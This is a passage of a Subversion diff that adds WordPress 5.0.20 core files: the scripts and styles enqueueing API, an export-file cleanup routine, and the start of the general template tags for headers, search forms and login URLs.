+	require_once( ABSPATH . 'wp-admin/includes/file.php' );
+
+	$exports_dir  = wp_privacy_exports_dir();
+	$export_files = list_files( $exports_dir, 100, array( 'index.html' ) );
+
+	/**
+	 * Filters the lifetime, in seconds, of a personal data export file.
+	 *
+	 * By default, the lifetime is 3 days. Once the file reaches that age, it will automatically
+	 * be deleted by a cron job.
+	 *
+	 * @since 4.9.6
+	 *
+	 * @param int $expiration The expiration age of the export, in seconds.
+	 */
+	$expiration = apply_filters( 'wp_privacy_export_expiration', 3 * DAY_IN_SECONDS );
+
+	foreach ( (array) $export_files as $export_file ) {
+		$file_age_in_seconds = time() - filemtime( $export_file );
+
+		if ( $expiration < $file_age_in_seconds ) {
+			unlink( $export_file );
+		}
+	}
+}
Index: /tags/5.0.20/src/wp-includes/functions.wp-scripts.php
===================================================================
--- /tags/5.0.20/src/wp-includes/functions.wp-scripts.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/functions.wp-scripts.php	(revision 56912)
@@ -0,0 +1,366 @@
+<?php
+/**
+ * Dependencies API: Scripts functions
+ *
+ * @since 2.6.0
+ *
+ * @package WordPress
+ * @subpackage Dependencies
+ */
+
+/**
+ * Initialize $wp_scripts if it has not been set.
+ *
+ * @global WP_Scripts $wp_scripts
+ *
+ * @since 4.2.0
+ *
+ * @return WP_Scripts WP_Scripts instance.
+ */
+function wp_scripts() {
+	global $wp_scripts;
+	if ( ! ( $wp_scripts instanceof WP_Scripts ) ) {
+		$wp_scripts = new WP_Scripts();
+	}
+	return $wp_scripts;
+}
+
+/**
+ * Helper function to output a _doing_it_wrong message when applicable.
+ *
+ * @ignore
+ * @since 4.2.0
+ *
+ * @param string $function Function name.
+ */
+function _wp_scripts_maybe_doing_it_wrong( $function ) {
+	if ( did_action( 'init' ) || did_action( 'admin_enqueue_scripts' ) || did_action( 'wp_enqueue_scripts' ) || did_action( 'login_enqueue_scripts' ) ) {
+		return;
+	}
+
+	_doing_it_wrong( $function, sprintf(
+		/* translators: 1: wp_enqueue_scripts, 2: admin_enqueue_scripts, 3: login_enqueue_scripts */
+		__( 'Scripts and styles should not be registered or enqueued until the %1$s, %2$s, or %3$s hooks.' ),
+		'<code>wp_enqueue_scripts</code>',
+		'<code>admin_enqueue_scripts</code>',
+		'<code>login_enqueue_scripts</code>'
+	), '3.3.0' );
+}
+
+/**
+ * Prints scripts in document head that are in the $handles queue.
+ *
+ * Called by admin-header.php and {@see 'wp_head'} hook. Since it is called by wp_head on every page load,
+ * the function does not instantiate the WP_Scripts object unless script names are explicitly passed.
+ * Makes use of already-instantiated $wp_scripts global if present. Use provided {@see 'wp_print_scripts'}
+ * hook to register/enqueue new scripts.
+ *
+ * @see WP_Scripts::do_items()
+ * @global WP_Scripts $wp_scripts The WP_Scripts object for printing scripts.
+ *
+ * @since 2.1.0
+ *
+ * @param string|bool|array $handles Optional. Scripts to be printed. Default 'false'.
+ * @return array On success, a processed array of WP_Dependencies items; otherwise, an empty array.
+ */
+function wp_print_scripts( $handles = false ) {
+	/**
+	 * Fires before scripts in the $handles queue are printed.
+	 *
+	 * @since 2.1.0
+	 */
+	do_action( 'wp_print_scripts' );
+	if ( '' === $handles ) { // for wp_head
+		$handles = false;
+	}
+
+	_wp_scripts_maybe_doing_it_wrong( __FUNCTION__ );
+
+	global $wp_scripts;
+	if ( ! ( $wp_scripts instanceof WP_Scripts ) ) {
+		if ( ! $handles ) {
+			return array(); // No need to instantiate if nothing is there.
+		}
+	}
+
+	return wp_scripts()->do_items( $handles );
+}
+
+/**
+ * Adds extra code to a registered script.
+ *
+ * Code will only be added if the script in already in the queue.
+ * Accepts a string $data containing the Code. If two or more code blocks
+ * are added to the same script $handle, they will be printed in the order
+ * they were added, i.e. the latter added code can redeclare the previous.
+ *
+ * @since 4.5.0
+ *
+ * @see WP_Scripts::add_inline_script()
+ *
+ * @param string $handle   Name of the script to add the inline script to.
+ * @param string $data     String containing the javascript to be added.
+ * @param string $position Optional. Whether to add the inline script before the handle
+ *                         or after. Default 'after'.
+ * @return bool True on success, false on failure.
+ */
+function wp_add_inline_script( $handle, $data, $position = 'after' ) {
+	_wp_scripts_maybe_doing_it_wrong( __FUNCTION__ );
+
+	if ( false !== stripos( $data, '</script>' ) ) {
+		_doing_it_wrong( __FUNCTION__, sprintf(
+			/* translators: 1: <script>, 2: wp_add_inline_script() */
+			__( 'Do not pass %1$s tags to %2$s.' ),
+			'<code>&lt;script&gt;</code>',
+			'<code>wp_add_inline_script()</code>'
+		), '4.5.0' );
+		$data = trim( preg_replace( '#<script[^>]*>(.*)</script>#is', '$1', $data ) );
+	}
+
+	return wp_scripts()->add_inline_script( $handle, $data, $position );
+}
+
+/**
+ * Register a new script.
+ *
+ * Registers a script to be enqueued later using the wp_enqueue_script() function.
+ *
+ * @see WP_Dependencies::add()
+ * @see WP_Dependencies::add_data()
+ *
+ * @since 2.1.0
+ * @since 4.3.0 A return value was added.
+ *
+ * @param string           $handle    Name of the script. Should be unique.
+ * @param string           $src       Full URL of the script, or path of the script relative to the WordPress root directory.
+ * @param array            $deps      Optional. An array of registered script handles this script depends on. Default empty array.
+ * @param string|bool|null $ver       Optional. String specifying script version number, if it has one, which is added to the URL
+ *                                    as a query string for cache busting purposes. If version is set to false, a version
+ *                                    number is automatically added equal to current installed WordPress version.
+ *                                    If set to null, no version is added.
+ * @param bool             $in_footer Optional. Whether to enqueue the script before </body> instead of in the <head>.
+ *                                    Default 'false'.
+ * @return bool Whether the script has been registered. True on success, false on failure.
+ */
+function wp_register_script( $handle, $src, $deps = array(), $ver = false, $in_footer = false ) {
+	$wp_scripts = wp_scripts();
+	_wp_scripts_maybe_doing_it_wrong( __FUNCTION__ );
+
+	$registered = $wp_scripts->add( $handle, $src, $deps, $ver );
+	if ( $in_footer ) {
+		$wp_scripts->add_data( $handle, 'group', 1 );
+	}
+
+	return $registered;
+}
+
+/**
+ * Localize a script.
+ *
+ * Works only if the script has already been added.
+ *
+ * Accepts an associative array $l10n and creates a JavaScript object:
+ *
+ *     "$object_name" = {
+ *         key: value,
+ *         key: value,
+ *         ...
+ *     }
+ *
+ *
+ * @see WP_Dependencies::localize()
+ * @link https://core.trac.wordpress.org/ticket/11520
+ * @global WP_Scripts $wp_scripts The WP_Scripts object for printing scripts.
+ *
+ * @since 2.2.0
+ *
+ * @todo Documentation cleanup
+ *
+ * @param string $handle      Script handle the data will be attached to.
+ * @param string $object_name Name for the JavaScript object. Passed directly, so it should be qualified JS variable.
+ *                            Example: '/[a-zA-Z0-9_]+/'.
+ * @param array $l10n         The data itself. The data can be either a single or multi-dimensional array.
+ * @return bool True if the script was successfully localized, false otherwise.
+ */
+function wp_localize_script( $handle, $object_name, $l10n ) {
+	global $wp_scripts;
+	if ( ! ( $wp_scripts instanceof WP_Scripts ) ) {
+		_wp_scripts_maybe_doing_it_wrong( __FUNCTION__ );
+		return false;
+	}
+
+	return $wp_scripts->localize( $handle, $object_name, $l10n );
+}
+
+/**
+ * Sets translated strings for a script.
+ *
+ * Works only if the script has already been added.
+ *
+ * @see WP_Scripts::set_translations()
+ * @global WP_Scripts $wp_scripts The WP_Scripts object for printing scripts.
+ *
+ * @since 5.0.0
+ *
+ * @param string $handle Script handle the textdomain will be attached to.
+ * @param string $domain The textdomain.
+ * @param string $path   Optional. The full file path to the directory containing translation files.
+ *
+ * @return bool True if the textdomain was successfully localized, false otherwise.
+ */
+function wp_set_script_translations( $handle, $domain, $path = null ) {
+	global $wp_scripts;
+	if ( ! ( $wp_scripts instanceof WP_Scripts ) ) {
+		_wp_scripts_maybe_doing_it_wrong( __FUNCTION__ );
+		return false;
+	}
+
+	return $wp_scripts->set_translations( $handle, $domain, $path );
+}
+
+/**
+ * Remove a registered script.
+ *
+ * Note: there are intentional safeguards in place to prevent critical admin scripts,
+ * such as jQuery core, from being unregistered.
+ *
+ * @see WP_Dependencies::remove()
+ *
+ * @since 2.1.0
+ *
+ * @param string $handle Name of the script to be removed.
+ */
+function wp_deregister_script( $handle ) {
+	_wp_scripts_maybe_doing_it_wrong( __FUNCTION__ );
+
+	/**
+	 * Do not allow accidental or negligent de-registering of critical scripts in the admin.
+	 * Show minimal remorse if the correct hook is used.
+	 */
+	$current_filter = current_filter();
+	if ( ( is_admin() && 'admin_enqueue_scripts' !== $current_filter ) ||
+		( 'wp-login.php' === $GLOBALS['pagenow'] && 'login_enqueue_scripts' !== $current_filter )
+	) {
+		$no = array(
+			'jquery', 'jquery-core', 'jquery-migrate', 'jquery-ui-core', 'jquery-ui-accordion',
+			'jquery-ui-autocomplete', 'jquery-ui-button', 'jquery-ui-datepicker', 'jquery-ui-dialog',
+			'jquery-ui-draggable', 'jquery-ui-droppable', 'jquery-ui-menu', 'jquery-ui-mouse',
+			'jquery-ui-position', 'jquery-ui-progressbar', 'jquery-ui-resizable', 'jquery-ui-selectable',
+			'jquery-ui-slider', 'jquery-ui-sortable', 'jquery-ui-spinner', 'jquery-ui-tabs',
+			'jquery-ui-tooltip', 'jquery-ui-widget', 'underscore', 'backbone',
+		);
+
+		if ( in_array( $handle, $no ) ) {
+			$message = sprintf(
+				/* translators: 1: script name, 2: wp_enqueue_scripts */
+				__( 'Do not deregister the %1$s script in the administration area. To target the front-end theme, use the %2$s hook.' ),
+				"<code>$handle</code>",
+				'<code>wp_enqueue_scripts</code>'
+			);
+			_doing_it_wrong( __FUNCTION__, $message, '3.6.0' );
+			return;
+		}
+	}
+
+	wp_scripts()->remove( $handle );
+}
+
+/**
+ * Enqueue a script.
+ *
+ * Registers the script if $src provided (does NOT overwrite), and enqueues it.
+ *
+ * @see WP_Dependencies::add()
+ * @see WP_Dependencies::add_data()
+ * @see WP_Dependencies::enqueue()
+ *
+ * @since 2.1.0
+ *
+ * @param string           $handle    Name of the script. Should be unique.
+ * @param string           $src       Full URL of the script, or path of the script relative to the WordPress root directory.
+ *                                    Default empty.
+ * @param array            $deps      Optional. An array of registered script handles this script depends on. Default empty array.
+ * @param string|bool|null $ver       Optional. String specifying script version number, if it has one, which is added to the URL
+ *                                    as a query string for cache busting purposes. If version is set to false, a version
+ *                                    number is automatically added equal to current installed WordPress version.
+ *                                    If set to null, no version is added.
+ * @param bool             $in_footer Optional. Whether to enqueue the script before </body> instead of in the <head>.
+ *                                    Default 'false'.
+ */
+function wp_enqueue_script( $handle, $src = '', $deps = array(), $ver = false, $in_footer = false ) {
+	$wp_scripts = wp_scripts();
+
+	_wp_scripts_maybe_doing_it_wrong( __FUNCTION__ );
+
+
+	if ( $src || $in_footer ) {
+		$_handle = explode( '?', $handle );
+
+		if ( $src ) {
+			$wp_scripts->add( $_handle[0], $src, $deps, $ver );
+		}
+
+		if ( $in_footer ) {
+			$wp_scripts->add_data( $_handle[0], 'group', 1 );
+		}
+	}
+
+	$wp_scripts->enqueue( $handle );
+}
+
+/**
+ * Remove a previously enqueued script.
+ *
+ * @see WP_Dependencies::dequeue()
+ *
+ * @since 3.1.0
+ *
+ * @param string $handle Name of the script to be removed.
+ */
+function wp_dequeue_script( $handle ) {
+	_wp_scripts_maybe_doing_it_wrong( __FUNCTION__ );
+
+	wp_scripts()->dequeue( $handle );
+}
+
+/**
+ * Determines whether a script has been added to the queue.
+ * 
+ * For more information on this and similar theme functions, check out
+ * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ 
+ * Conditional Tags} article in the Theme Developer Handbook.
+ *  
+ * @since 2.8.0
+ * @since 3.5.0 'enqueued' added as an alias of the 'queue' list.
+ *
+ * @param string $handle Name of the script.
+ * @param string $list   Optional. Status of the script to check. Default 'enqueued'.
+ *                       Accepts 'enqueued', 'registered', 'queue', 'to_do', and 'done'.
+ * @return bool Whether the script is queued.
+ */
+function wp_script_is( $handle, $list = 'enqueued' ) {
+	_wp_scripts_maybe_doing_it_wrong( __FUNCTION__ );
+
+	return (bool) wp_scripts()->query( $handle, $list );
+}
+
+/**
+ * Add metadata to a script.
+ *
+ * Works only if the script has already been added.
+ *
+ * Possible values for $key and $value:
+ * 'conditional' string Comments for IE 6, lte IE 7, etc.
+ *
+ * @since 4.2.0
+ *
+ * @see WP_Dependency::add_data()
+ *
+ * @param string $handle Name of the script.
+ * @param string $key    Name of data point for which we're storing a value.
+ * @param mixed  $value  String containing the data to be added.
+ * @return bool True on success, false on failure.
+ */
+function wp_script_add_data( $handle, $key, $value ){
+	return wp_scripts()->add_data( $handle, $key, $value );
+}
Index: /tags/5.0.20/src/wp-includes/functions.wp-styles.php
===================================================================
--- /tags/5.0.20/src/wp-includes/functions.wp-styles.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/functions.wp-styles.php	(revision 56912)
@@ -0,0 +1,231 @@
+<?php
+/**
+ * Dependencies API: Styles functions
+ *
+ * @since 2.6.0
+ *
+ * @package WordPress
+ * @subpackage Dependencies
+ */
+
+/**
+ * Initialize $wp_styles if it has not been set.
+ *
+ * @global WP_Styles $wp_styles
+ *
+ * @since 4.2.0
+ *
+ * @return WP_Styles WP_Styles instance.
+ */
+function wp_styles() {
+	global $wp_styles;
+	if ( ! ( $wp_styles instanceof WP_Styles ) ) {
+		$wp_styles = new WP_Styles();
+	}
+	return $wp_styles;
+}
+
+/**
+ * Display styles that are in the $handles queue.
+ *
+ * Passing an empty array to $handles prints the queue,
+ * passing an array with one string prints that style,
+ * and passing an array of strings prints those styles.
+ *
+ * @global WP_Styles $wp_styles The WP_Styles object for printing styles.
+ *
+ * @since 2.6.0
+ *
+ * @param string|bool|array $handles Styles to be printed. Default 'false'.
+ * @return array On success, a processed array of WP_Dependencies items; otherwise, an empty array.
+ */
+function wp_print_styles( $handles = false ) {
+	if ( '' === $handles ) { // for wp_head
+		$handles = false;
+	}
+	/**
+	 * Fires before styles in the $handles queue are printed.
+	 *
+	 * @since 2.6.0
+	 */
+	if ( ! $handles ) {
+		do_action( 'wp_print_styles' );
+	}
+
+	_wp_scripts_maybe_doing_it_wrong( __FUNCTION__ );
+
+	global $wp_styles;
+	if ( ! ( $wp_styles instanceof WP_Styles ) ) {
+		if ( ! $handles ) {
+			return array(); // No need to instantiate if nothing is there.
+		}
+	}
+
+	return wp_styles()->do_items( $handles );
+}
+
+/**
+ * Add extra CSS styles to a registered stylesheet.
+ *
+ * Styles will only be added if the stylesheet in already in the queue.
+ * Accepts a string $data containing the CSS. If two or more CSS code blocks
+ * are added to the same stylesheet $handle, they will be printed in the order
+ * they were added, i.e. the latter added styles can redeclare the previous.
+ *
+ * @see WP_Styles::add_inline_style()
+ *
+ * @since 3.3.0
+ *
+ * @param string $handle Name of the stylesheet to add the extra styles to.
+ * @param string $data   String containing the CSS styles to be added.
+ * @return bool True on success, false on failure.
+ */
+function wp_add_inline_style( $handle, $data ) {
+	_wp_scripts_maybe_doing_it_wrong( __FUNCTION__ );
+
+	if ( false !== stripos( $data, '</style>' ) ) {
+		_doing_it_wrong( __FUNCTION__, sprintf(
+			/* translators: 1: <style>, 2: wp_add_inline_style() */
+			__( 'Do not pass %1$s tags to %2$s.' ),
+			'<code>&lt;style&gt;</code>',
+			'<code>wp_add_inline_style()</code>'
+		), '3.7.0' );
+		$data = trim( preg_replace( '#<style[^>]*>(.*)</style>#is', '$1', $data ) );
+	}
+
+	return wp_styles()->add_inline_style( $handle, $data );
+}
+
+/**
+ * Register a CSS stylesheet.
+ *
+ * @see WP_Dependencies::add()
+ * @link https://www.w3.org/TR/CSS2/media.html#media-types List of CSS media types.
+ *
+ * @since 2.6.0
+ * @since 4.3.0 A return value was added.
+ *
+ * @param string           $handle Name of the stylesheet. Should be unique.
+ * @param string           $src    Full URL of the stylesheet, or path of the stylesheet relative to the WordPress root directory.
+ * @param array            $deps   Optional. An array of registered stylesheet handles this stylesheet depends on. Default empty array.
+ * @param string|bool|null $ver    Optional. String specifying stylesheet version number, if it has one, which is added to the URL
+ *                                 as a query string for cache busting purposes. If version is set to false, a version
+ *                                 number is automatically added equal to current installed WordPress version.
+ *                                 If set to null, no version is added.
+ * @param string           $media  Optional. The media for which this stylesheet has been defined.
+ *                                 Default 'all'. Accepts media types like 'all', 'print' and 'screen', or media queries like
+ *                                 '(orientation: portrait)' and '(max-width: 640px)'.
+ * @return bool Whether the style has been registered. True on success, false on failure.
+ */
+function wp_register_style( $handle, $src, $deps = array(), $ver = false, $media = 'all' ) {
+	_wp_scripts_maybe_doing_it_wrong( __FUNCTION__ );
+
+	return wp_styles()->add( $handle, $src, $deps, $ver, $media );
+}
+
+/**
+ * Remove a registered stylesheet.
+ *
+ * @see WP_Dependencies::remove()
+ *
+ * @since 2.1.0
+ *
+ * @param string $handle Name of the stylesheet to be removed.
+ */
+function wp_deregister_style( $handle ) {
+	_wp_scripts_maybe_doing_it_wrong( __FUNCTION__ );
+
+	wp_styles()->remove( $handle );
+}
+
+/**
+ * Enqueue a CSS stylesheet.
+ *
+ * Registers the style if source provided (does NOT overwrite) and enqueues.
+ *
+ * @see WP_Dependencies::add()
+ * @see WP_Dependencies::enqueue()
+ * @link https://www.w3.org/TR/CSS2/media.html#media-types List of CSS media types.
+ *
+ * @since 2.6.0
+ *
+ * @param string           $handle Name of the stylesheet. Should be unique.
+ * @param string           $src    Full URL of the stylesheet, or path of the stylesheet relative to the WordPress root directory.
+ *                                 Default empty.
+ * @param array            $deps   Optional. An array of registered stylesheet handles this stylesheet depends on. Default empty array.
+ * @param string|bool|null $ver    Optional. String specifying stylesheet version number, if it has one, which is added to the URL
+ *                                 as a query string for cache busting purposes. If version is set to false, a version
+ *                                 number is automatically added equal to current installed WordPress version.
+ *                                 If set to null, no version is added.
+ * @param string           $media  Optional. The media for which this stylesheet has been defined.
+ *                                 Default 'all'. Accepts media types like 'all', 'print' and 'screen', or media queries like
+ *                                 '(orientation: portrait)' and '(max-width: 640px)'.
+ */
+function wp_enqueue_style( $handle, $src = '', $deps = array(), $ver = false, $media = 'all' ) {
+	_wp_scripts_maybe_doing_it_wrong( __FUNCTION__ );
+
+	$wp_styles = wp_styles();
+
+	if ( $src ) {
+		$_handle = explode('?', $handle);
+		$wp_styles->add( $_handle[0], $src, $deps, $ver, $media );
+	}
+	$wp_styles->enqueue( $handle );
+}
+
+/**
+ * Remove a previously enqueued CSS stylesheet.
+ *
+ * @see WP_Dependencies::dequeue()
+ *
+ * @since 3.1.0
+ *
+ * @param string $handle Name of the stylesheet to be removed.
+ */
+function wp_dequeue_style( $handle ) {
+	_wp_scripts_maybe_doing_it_wrong( __FUNCTION__ );
+
+	wp_styles()->dequeue( $handle );
+}
+
+/**
+ * Check whether a CSS stylesheet has been added to the queue.
+ *
+ * @since 2.8.0
+ *
+ * @param string $handle Name of the stylesheet.
+ * @param string $list   Optional. Status of the stylesheet to check. Default 'enqueued'.
+ *                       Accepts 'enqueued', 'registered', 'queue', 'to_do', and 'done'.
+ * @return bool Whether style is queued.
+ */
+function wp_style_is( $handle, $list = 'enqueued' ) {
+	_wp_scripts_maybe_doing_it_wrong( __FUNCTION__ );
+
+	return (bool) wp_styles()->query( $handle, $list );
+}
+
+/**
+ * Add metadata to a CSS stylesheet.
+ *
+ * Works only if the stylesheet has already been added.
+ *
+ * Possible values for $key and $value:
+ * 'conditional' string      Comments for IE 6, lte IE 7 etc.
+ * 'rtl'         bool|string To declare an RTL stylesheet.
+ * 'suffix'      string      Optional suffix, used in combination with RTL.
+ * 'alt'         bool        For rel="alternate stylesheet".
+ * 'title'       string      For preferred/alternate stylesheets.
+ *
+ * @see WP_Dependency::add_data()
+ *
+ * @since 3.6.0
+ *
+ * @param string $handle Name of the stylesheet.
+ * @param string $key    Name of data point for which we're storing a value.
+ *                       Accepts 'conditional', 'rtl' and 'suffix', 'alt' and 'title'.
+ * @param mixed  $value  String containing the CSS data to be added.
+ * @return bool True on success, false on failure.
+ */
+function wp_style_add_data( $handle, $key, $value ) {
+	return wp_styles()->add_data( $handle, $key, $value );
+}
Index: /tags/5.0.20/src/wp-includes/general-template.php
===================================================================
--- /tags/5.0.20/src/wp-includes/general-template.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/general-template.php	(revision 56912)
@@ -0,0 +1,4306 @@
+<?php
+/**
+ * General template tags that can go anywhere in a template.
+ *
+ * @package WordPress
+ * @subpackage Template
+ */
+
+/**
+ * Load header template.
+ *
+ * Includes the header template for a theme or if a name is specified then a
+ * specialised header will be included.
+ *
+ * For the parameter, if the file is called "header-special.php" then specify
+ * "special".
+ *
+ * @since 1.5.0
+ *
+ * @param string $name The name of the specialised header.
+ */
+function get_header( $name = null ) {
+	/**
+	 * Fires before the header template file is loaded.
+	 *
+	 * @since 2.1.0
+	 * @since 2.8.0 $name parameter added.
+	 *
+	 * @param string|null $name Name of the specific header file to use. null for the default header.
+	 */
+	do_action( 'get_header', $name );
+
+	$templates = array();
+	$name = (string) $name;
+	if ( '' !== $name ) {
+		$templates[] = "header-{$name}.php";
+	}
+
+	$templates[] = 'header.php';
+
+	locate_template( $templates, true );
+}
+
+/**
+ * Load footer template.
+ *
+ * Includes the footer template for a theme or if a name is specified then a
+ * specialised footer will be included.
+ *
+ * For the parameter, if the file is called "footer-special.php" then specify
+ * "special".
+ *
+ * @since 1.5.0
+ *
+ * @param string $name The name of the specialised footer.
+ */
+function get_footer( $name = null ) {
+	/**
+	 * Fires before the footer template file is loaded.
+	 *
+	 * @since 2.1.0
+	 * @since 2.8.0 $name parameter added.
+	 *
+	 * @param string|null $name Name of the specific footer file to use. null for the default footer.
+	 */
+	do_action( 'get_footer', $name );
+
+	$templates = array();
+	$name = (string) $name;
+	if ( '' !== $name ) {
+		$templates[] = "footer-{$name}.php";
+	}
+
+	$templates[]    = 'footer.php';
+
+	locate_template( $templates, true );
+}
+
+/**
+ * Load sidebar template.
+ *
+ * Includes the sidebar template for a theme or if a name is specified then a
+ * specialised sidebar will be included.
+ *
+ * For the parameter, if the file is called "sidebar-special.php" then specify
+ * "special".
+ *
+ * @since 1.5.0
+ *
+ * @param string $name The name of the specialised sidebar.
+ */
+function get_sidebar( $name = null ) {
+	/**
+	 * Fires before the sidebar template file is loaded.
+	 *
+	 * @since 2.2.0
+	 * @since 2.8.0 $name parameter added.
+	 *
+	 * @param string|null $name Name of the specific sidebar file to use. null for the default sidebar.
+	 */
+	do_action( 'get_sidebar', $name );
+
+	$templates = array();
+	$name = (string) $name;
+	if ( '' !== $name )
+		$templates[] = "sidebar-{$name}.php";
+
+	$templates[] = 'sidebar.php';
+
+	locate_template( $templates, true );
+}
+
+/**
+ * Loads a template part into a template.
+ *
+ * Provides a simple mechanism for child themes to overload reusable sections of code
+ * in the theme.
+ *
+ * Includes the named template part for a theme or if a name is specified then a
+ * specialised part will be included. If the theme contains no {slug}.php file
+ * then no template will be included.
+ *
+ * The template is included using require, not require_once, so you may include the
+ * same template part multiple times.
+ *
+ * For the $name parameter, if the file is called "{slug}-special.php" then specify
+ * "special".
+ *
+ * @since 3.0.0
+ *
+ * @param string $slug The slug name for the generic template.
+ * @param string $name The name of the specialised template.
+ */
+function get_template_part( $slug, $name = null ) {
+	/**
+	 * Fires before the specified template part file is loaded.
+	 *
+	 * The dynamic portion of the hook name, `$slug`, refers to the slug name
+	 * for the generic template part.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string      $slug The slug name for the generic template.
+	 * @param string|null $name The name of the specialized template.
+	 */
+	do_action( "get_template_part_{$slug}", $slug, $name );
+
+	$templates = array();
+	$name = (string) $name;
+	if ( '' !== $name )
+		$templates[] = "{$slug}-{$name}.php";
+
+	$templates[] = "{$slug}.php";
+
+	locate_template($templates, true, false);
+}
+
+/**
+ * Display search form.
+ *
+ * Will first attempt to locate the searchform.php file in either the child or
+ * the parent, then load it. If it doesn't exist, then the default search form
+ * will be displayed. The default search form is HTML, which will be displayed.
+ * There is a filter applied to the search form HTML in order to edit or replace
+ * it. The filter is {@see 'get_search_form'}.
+ *
+ * This function is primarily used by themes which want to hardcode the search
+ * form into the sidebar and also by the search widget in WordPress.
+ *
+ * There is also an action that is called whenever the function is run called,
+ * {@see 'pre_get_search_form'}. This can be useful for outputting JavaScript that the
+ * search relies on or various formatting that applies to the beginning of the
+ * search. To give a few examples of what it can be used for.
+ *
+ * @since 2.7.0
+ *
+ * @param bool $echo Default to echo and not return the form.
+ * @return string|void String when $echo is false.
+ */
+function get_search_form( $echo = true ) {
+	/**
+	 * Fires before the search form is retrieved, at the start of get_search_form().
+	 *
+	 * @since 2.7.0 as 'get_search_form' action.
+	 * @since 3.6.0
+	 *
+	 * @link https://core.trac.wordpress.org/ticket/19321
+	 */
+	do_action( 'pre_get_search_form' );
+
+	$format = current_theme_supports( 'html5', 'search-form' ) ? 'html5' : 'xhtml';
+
+	/**
+	 * Filters the HTML format of the search form.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param string $format The type of markup to use in the search form.
+	 *                       Accepts 'html5', 'xhtml'.
+	 */
+	$format = apply_filters( 'search_form_format', $format );
+
+	$search_form_template = locate_template( 'searchform.php' );
+	if ( '' != $search_form_template ) {
+		ob_start();
+		require( $search_form_template );
+		$form = ob_get_clean();
+	} else {
+		if ( 'html5' == $format ) {
+			$form = '<form role="search" method="get" class="search-form" action="' . esc_url( home_url( '/' ) ) . '">
+				<label>
+					<span class="screen-reader-text">' . _x( 'Search for:', 'label' ) . '</span>
+					<input type="search" class="search-field" placeholder="' . esc_attr_x( 'Search &hellip;', 'placeholder' ) . '" value="' . get_search_query() . '" name="s" />
+				</label>
+				<input type="submit" class="search-submit" value="'. esc_attr_x( 'Search', 'submit button' ) .'" />
+			</form>';
+		} else {
+			$form = '<form role="search" method="get" id="searchform" class="searchform" action="' . esc_url( home_url( '/' ) ) . '">
+				<div>
+					<label class="screen-reader-text" for="s">' . _x( 'Search for:', 'label' ) . '</label>
+					<input type="text" value="' . get_search_query() . '" name="s" id="s" />
+					<input type="submit" id="searchsubmit" value="'. esc_attr_x( 'Search', 'submit button' ) .'" />
+				</div>
+			</form>';
+		}
+	}
+
+	/**
+	 * Filters the HTML output of the search form.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param string $form The search form HTML output.
+	 */
+	$result = apply_filters( 'get_search_form', $form );
+
+	if ( null === $result )
+		$result = $form;
+
+	if ( $echo )
+		echo $result;
+	else
+		return $result;
+}
+
+/**
+ * Display the Log In/Out link.
+ *
+ * Displays a link, which allows users to navigate to the Log In page to log in
+ * or log out depending on whether they are currently logged in.
+ *
+ * @since 1.5.0
+ *
+ * @param string $redirect Optional path to redirect to on login/logout.
+ * @param bool   $echo     Default to echo and not return the link.
+ * @return string|void String when retrieving.
+ */
+function wp_loginout($redirect = '', $echo = true) {
+	if ( ! is_user_logged_in() )
+		$link = '<a href="' . esc_url( wp_login_url($redirect) ) . '">' . __('Log in') . '</a>';
+	else
+		$link = '<a href="' . esc_url( wp_logout_url($redirect) ) . '">' . __('Log out') . '</a>';
+
+	if ( $echo ) {
+		/**
+		 * Filters the HTML output for the Log In/Log Out link.
+		 *
+		 * @since 1.5.0
+		 *
+		 * @param string $link The HTML link content.
+		 */
+		echo apply_filters( 'loginout', $link );
+	} else {
+		/** This filter is documented in wp-includes/general-template.php */
+		return apply_filters( 'loginout', $link );
+	}
+}
+
+/**
+ * Retrieves the logout URL.
+ *
+ * Returns the URL that allows the user to log out of the site.
+ *
+ * @since 2.7.0
+ *
+ * @param string $redirect Path to redirect to on logout.
+ * @return string The logout URL. Note: HTML-encoded via esc_html() in wp_nonce_url().
+ */
+function wp_logout_url($redirect = '') {
+	$args = array( 'action' => 'logout' );
+	if ( !empty($redirect) ) {
+		$args['redirect_to'] = urlencode( $redirect );
+	}
+
+	$logout_url = add_query_arg($args, site_url('wp-login.php', 'login'));
+	$logout_url = wp_nonce_url( $logout_url, 'log-out' );
+
+	/**
+	 * Filters the logout URL.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param string $logout_url The HTML-encoded logout URL.
+	 * @param string $redirect   Path to redirect to on logout.
+	 */
+	return apply_filters( 'logout_url', $logout_url, $redirect );
+}
+
+/**
+ * Retrieves the login URL.
+ *
+ * @since 2.7.0
+ *
+ * @param string $redirect     Path to redirect to on log in.
+ * @param bool   $force_reauth Whether to force reauthorization, even if a cookie is present.
+ *                             Default false.
+ * @return string The login URL. Not HTML-encoded.
+ */
+function wp_login_url($redirect = '', $force_reauth = false) {
+	$login_url = site_url('wp-login.php', 'login');
+
+	if ( !empty($redirect) )
+		$login_url = add_query_arg('redirect_to', urlencode($redirect), $login_url);
+
+	if ( $force_reauth )
+		$login_url = add_query_arg('reauth', '1', $login_url);
+
+	/**
+	 * Filters the login URL.
+	 *
+	 * @since 2.8.0
+	 * @since 4.2.0 The `$force_reauth` parameter was added.
+	 *
+	 * @param string $login_url    The login URL. Not HTML-encoded.
+	 * @param string $redirect     The path to redirect to on login, if supplied.
+	 * @param bool   $force_reauth Whether to force reauthorization, even if a cookie is present.
+	 */
+	return apply_filters( 'login_url', $login_url, $redirect, $force_reauth );
+}
+
+/**
+ * Returns the URL that allows the user to register on the site.
+ *
+ * @since 3.6.0
+ *
+ * @return string User registration URL.
+ */
+function wp_registration_url() {
+	/**
+	 * Filters the user registration URL.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param string $register The user registration URL.
+	 */
+	return apply_filters( 'register_url', site_url( 'wp-login.php?action=register', 'login' ) );
+}
+
+/**
+ * Provides a simple login form for use anywhere within WordPress.
+ *
+ * The login format HTML is echoed by default. Pass a false value for `$echo` to return it instead.
+ *
+ * @since 3.0.0
+ *
+ * @param array $args {
+ *     Optional. Array of options to control the form output. Default empty array.
+ *
+ *     @type bool   $echo           Whether to display the login form or return the form HTML code.
+ *                                  Default true (echo).
+ *     @type string $redirect       URL to redirect to. Must be absolute, as in "https://example.com/mypage/".
+ *                                  Default is to redirect back to the request URI.
